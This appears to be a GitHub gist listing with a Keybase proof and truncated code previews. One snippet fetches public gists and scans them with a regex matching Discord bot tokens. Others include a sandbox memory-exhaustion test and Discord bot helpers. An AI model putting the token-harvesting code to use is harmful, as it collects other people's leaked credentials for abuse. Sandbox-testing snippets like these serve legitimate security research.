I hereby claim:
- I am y21 on github.
- I am y21 (https://keybase.io/y21) on keybase.
- I have a public key ASCSwqOHI8WFk3w4bybymnd5gqQ0er5QTecT1wZfcGhevQo
To claim this, I am signing this object:
const fetch = require("node-fetch"); | |
const regex = /[MN][A-Za-z\d]{23}\.[\w-]{6}\.[\w-]{27}/g; | |
fetch("https://api.github.com/gists") | |
.then(r => r.json()) | |
.then(r => { | |
for (const gist of r) { | |
fetch(gist.files[Object.keys(gist.files)[0]].raw_url) | |
.then(rr => rr.text()) | |
.then(rr => { |
interface ClientOptions { | |
owner: string; | |
description: string; | |
prefix: string; | |
commands?: Array<Command>; | |
}; | |
interface CommandOptions { | |
name: string; | |
enabled?: boolean; |
I hereby claim:
To claim this, I am signing this object:
type Value = string | number; | |
type Indexable<V> = { [key: string]: V }; | |
function makeTypedNullPrototype<T = any, V = Value>(obj: T): T & Indexable<V> { | |
return Object.setPrototypeOf(obj, null); | |
} | |
// const p = makeTypedNullPrototype({ | |
// a: 3 | |
// }); |
const { Paginator } = require('detritus-pagination'); | |
const { ShardClient } = require('detritus-client'); | |
const client = new ShardClient('token'); | |
const paginator = new Paginator(client, { | |
maxTime: 300000, | |
// ... | |
}); | |
// Wrapper function |
// https://github.com/y21/embedded-console | |
import EmbeddedConsole from './EmbeddedConsole'; | |
import React from 'react'; | |
export default class Console extends React.Component { | |
state = {}; | |
componentDidMount() { | |
const element = document.getElementById('console'); | |
if (!element) return console.error('Console element not found'); |
const {Isolate} = require('isolated-vm'); | |
const isolate = new Isolate({memoryLimit: 16}); | |
const ctx = isolate.createContextSync(); | |
ctx.eval("Math.max('1'.repeat(1024 ** 2 * 127));"); | |
process.exit(); |
const {NodeVM} = require('vm2'); | |
const {isMainThread, Worker, parentPort} = require('worker_threads'); | |
if (isMainThread) { | |
const worker = new Worker(__filename); | |
let lastMessage = null; | |
worker.on('message', () => lastMessage = Date.now()); | |
worker.on('online', () => lastMessage = Date.now()); |
[0,1996959894,3993919788,2567524794,124634137,1886057615,3915621685,2657392035,249268274,2044508324,3772115230,2547177864,162941995,2125561021,3887607047,2428444049,498536548,1789927666,4089016648,2227061214,450548861,1843258603,4107580753,2211677639,325883990,1684777152,4251122042,2321926636,335633487,1661365465,4195302755,2366115317,997073096,1281953886,3579855332,2724688242,1006888145,1258607687,3524101629,2768942443,901097722,1119000684,3686517206,2898065728,853044451,1172266101,3705015759,2882616665,651767980,1373503546,3369554304,3218104598,565507253,1454621731,3485111705,3099436303,671266974,1594198024,3322730930,2970347812,795835527,1483230225,3244367275,3060149565,1994146192,31158534,2563907772,4023717930,1907459465,112637215,2680153253,3904427059,2013776290,251722036,2517215374,3775830040,2137656763,141376813,2439277719,3865271297,1802195444,476864866,2238001368,4066508878,1812370925,453092731,2181625025,4111451223,1706088902,314042704,2344532202,4240017532,1658658271,366619977,2362670323,4224994405 |
use std::ops::{Drop, Deref}; | |
#[derive(Debug)] | |
struct ManualDrop<T>(*mut T); | |
impl<T> ManualDrop<T> { | |
pub fn new(data: T) -> ManualDrop<T> { | |
Self(Box::into_raw(Box::new(data))) | |
} | |
} |